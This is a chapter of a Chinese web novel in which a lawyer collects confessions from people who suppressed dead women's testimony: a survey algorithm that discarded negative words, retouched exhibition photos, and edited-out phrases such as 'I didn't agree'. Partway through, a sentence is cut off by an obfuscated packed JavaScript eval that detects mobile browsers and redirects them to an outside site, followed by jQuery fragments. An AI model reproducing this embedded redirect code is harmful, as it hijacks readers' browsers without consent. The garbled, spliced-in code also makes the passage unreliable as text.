他戴着眼镜，拿了一个资料袋，一进门就直奔讲述席。


    “我是做‘项目体验回访’系统的人。”


    “我负责的是那套‘满意度问卷’。”


    “就是你们后来看到的那种——‘体验感受’打分表。”


    “我来讲，是因为你们看到的那些‘好评率’，是我做出来的。”


    “我们那时候有一套算法，如果有负面词汇，就统一标记为‘情绪化反馈’，系统默认不入统计。”


    “有一次，一个讲述人写了‘我觉得恶心’，我点开后台，她的反馈直接被标成‘数据干扰项’。”


    “她不但没被记录，连‘讲述机会’都被取消了。”


    “而那些写‘我很高兴’，‘我愿意配合’的，系统会自动推荐‘第二次体验’。”


    “我知道你们现在说‘她们是编号’，但我告诉你们——她们是被算法标记成‘乖’，才继续活在那个系统里的。”


    “我来，是因为我不想再让她们活成那套评分表。”


    程漾听完，问了句：“你愿意配合写一份评分筛选机制说明吗？”


    那人点头：“我现在就写。”


    他拿出一张纸，写了五行字：


    【打分机制默认配合为正向】


    【负面词汇被系统自动排除】


    【被标记“不稳定”的讲述人，被停权或剥权】


    【我是系统评分算法调控人】


    【我讲完的，是她们被标记之后死的那段路】


    这份资料直接送进卷宗。


    程漾下了批注：


    “这不是‘情绪反馈’，这是‘杀人判定’。”


    “她们不是被判不稳。”


    “她们是说了‘我害怕’，你们说——她情绪不合格。”


    第三位上台的，是曾参与“讲述人展览项目”的公关人员。


    她一句废话没有。


    上来只说一句：


    “她们死的时候我还在用她们照片做展板。”


    “我配的文案是‘时代女性之声’。”


    “那时候我知道她死了。”


    “但我还把她的照片放在展厅主位。”


    “因为她笑得确实干净。”


    “我来讲，是因为那张照片我修了图。”


    “我把她眼下的乌青、嘴角的伤，全修掉了。”


    “我把她身上的红点打马赛克。”


    “然后我说——她代表的是光明。”


    “可那不是光。”


    “是她在掉血。”


    “我现在讲，是想告诉你们——她死了，你们还在消费她。”


    程漾手指轻轻敲了下桌子。


    “这段我们全程录。”


    “照片还在吗？”


    “在，我带来了。”


    她拿出一张精修过的展览图，又翻出原片。


    一对比，现场所有人都沉住气。


    精修图上，她笑得明亮、衣服整洁。


    原图上，嘴角是干掉的血，胳膊有一道很深的勒痕。


    程漾没动手。


    她只是站起来，说：


    “我们贴原图。”


    “打水印。”


    “写清楚——这是你们修掉的。”


    “这不是艺术。”


    “这是你们洗干净的命。”


    那天下午，“讲述人墙”新增一面。


    上面不是她们讲了什么。


    是——你们删了什么。


    写清楚谁改稿、谁调分、谁修图、谁下线素材。


    不是追责搞事。


    是为了告诉全世界——


    她们不是讲得不清楚。


    是你们不想让她们清楚地讲。


    你们说她们自愿。


    是因为你们剪掉了“我想活”。


    你们说她们情绪稳定。


    是因为你们屏蔽了“我怕”。


    你们说她们反馈良好。


    是因为你们修了那张吐血的嘴角。


    她们没说完。


    不是因为她们讲不下去了。


    是因为你们动手——卡断了句子。


    讲述会第七天，一大早，中央文化系统备案处打来电话。


    接线员声音不高，但每一个字都咬得特别清楚。


    “程律师，您好。”


    “我们收到上级通知，拟设‘讲述原片专项通道’，请问您这边是否具备初步提交条件？”


    程漾坐在讲述会后台，桌上摊着八份反馈对照、五份剪辑声明，还有三张“讲述前后对照稿”。


    她手里拿着红笔，正一行一行划错改处。


    听到那头这么问，她只说了一句：


    “我们不是在准备素材提交。”


    “我们是在交命。”


    “她们是死过的。”


    “不是讲过。”


    “我们交的不是采访资料，是活人讲述记录。”


    “你们要收，就得照档案流程收。”


    那头顿了顿。


    然后回了句：“明白。”


    “那就请您这边准备‘讲述人原始信息卡’、‘视频未剪版证明’、‘讲述人自愿声明’三件套。”


    “另外，每一份入库需附‘讲述未删改承诺函’。”


    程漾合上笔记本，说：“我们准备好了。”


    “我们每段都有录原始音轨。”


    “每份讲述人签了授权。”


    “还有三段视频，有她们写的‘我想活’四个字的镜头。”


    程漾刚把笔记本合上，林茜推门进来，手里拎着文件袋，脚步快：“剪辑名单拿上来了。”


    她站那儿没坐，直接把文件袋放在桌上：“宋郁带人去拉的。是‘反馈组素材剪辑责任名单’，一共五个人，名单全在这里。”


    程漾没接，看她一眼：“人呢？”


    “在外面。”林茜压低声音，“他说名单得你亲自看，他不敢给别人。”


    程漾站起身，推开门：“叫他进来。”


    宋郁戴着口罩，低着头进来了，手里攥着个U盘，站那没动：“五个人，两个现在还在项目组，一个调去外宣，两个……死了。”


    “谁死了？”程漾问。


    宋郁低头：“组长韩旭，半年前喝药死的。还有一个冯琪，前年死的，死在风荷那边。”


    屋里一瞬间没人说话。


    程漾靠着桌，盯着他说：“剩下三个呢？”


    “韩旭的系统权限没撤，我能进。我把剪辑记录拉出来了，拷在这个U盘里。”宋郁把U盘举了举，“原始的，没删过的。”


    程漾点了下头：“我们收。”


    “但我说清楚，收的是证据，不是你的道歉。”


    宋郁低着头：“我知道。”


    林茜没说话，只是接过U盘，手有点抖。


    程漾打开U盘，点开了里面的文件夹。


    第一个文件夹，是韩旭的名字。


    里面写得清清楚楚：


    【剪辑时间：从二零一七年到二零二三年】


    【剪辑次数：四百八十二次】


    【剪掉的关键词：不愿意、害怕、疼、我不行、我想走】


    文件夹最后，是一句话备注：


    【她说怕，他剪了。】


    程漾盯着这行字，看了几秒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998446|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，什么都没说，关上了文件夹。


    她转头：“我问你，这个韩旭，谁教的？”


    宋郁张了张嘴，声音很轻：“是我。”


    “我教的他。”


    “剪‘不愿意’和‘我想走’那几种波形，是我教的他怎么剪的。”


    屋里一时间安静下来，连林茜的呼吸声都听得见。


    程漾过了好一会才开口：“那就这样吧。”


    “她们说怕，你们剪了。”


    “她们说疼，你们剪了。”


    “她们讲了——是你们剪了。”


    “不是她们讲不出来。”


    “是你们剪没了。”


    “谁剪的，谁来讲。”


    宋郁捏着手，嗓子发干：“我讲。”


    “我教的，我认。”


    “是我教他剪的。”


    “是我把‘怕’和‘不愿意’变成素材障碍的。”


    程漾没看他，只是低头在责任表上写了三个字：


    【宋郁】


    然后抬头：“贴墙。”


    “不是她们讲得不清楚。”


    “是你们剪了。”


    “这一行，贴在墙上。”


    “不是韩旭剪的‘我想走’。”


    “是你教他剪的。”


    “你自己上去讲。”


    “从你剪的第一段开始，一个字不少，讲回来。”


    宋郁点头：“我讲。”


    “我删过的，我讲回来。”


    程漾没动，声音很平静：“第一段素材，谁的？”


    宋郁低着头：“围巾女孩。”


    “我剪的她。”


    “我把她那句‘我没答应’剪了。”


    “她说自己是被拖进去的，我觉得不适合，就剪掉了。”


    “我剪的是她自己讲的那句——‘我没答应’。”


    程漾听完，拿出一张表格，在责任栏写下：


    【剪掉‘我没答应’四个字，责任人：宋郁】


    “这一行，贴墙。”


    “谁剪的谁讲。”


    “讲完了就签字。”


    “签上你的名字。”


    “以后在案子里，就写你这行字。”


    “不是她讲得不清楚。”


    “是你剪了。”


    宋郁把头点得死死的：“我写。”


    “我讲。”


    “不是她们讲不出来。”


    “是我剪了。”


    “我来讲。”


    “不是为了求你们原谅。”


    “是因为她们讲不回来了。”


    “我活着，我就得讲。”


    林茜把打印纸递过去：“你写吧。”


    “写完，贴墙。”


    宋郁咬着牙，一笔一划，把那张“责任说明”写了两个小时。


    最后只写了几行字：


    【我删过‘我没答应’。】


    【讲述人：围巾女孩。】


    【原话已剪。】


    【责任人：宋郁。】


    程漾接过来，起身走到讲述墙前，把那张纸贴了上去。


    墙上是密密麻麻的名字、故事、死亡名单。


    今天，这一张，是剪辑师的。


    “不是她讲不清楚。”


    “是你们剪了。”


    “她们早就讲了。”


    “是你们删了。”


    “谁剪的——就得谁讲回来。”


    “讲一句，贴一句。”


    “谁剪，谁讲。”


    “讲完，贴墙。”


    “贴上——我们就算账。”


    讲述墙那边，林茜把打印纸一张张接着贴。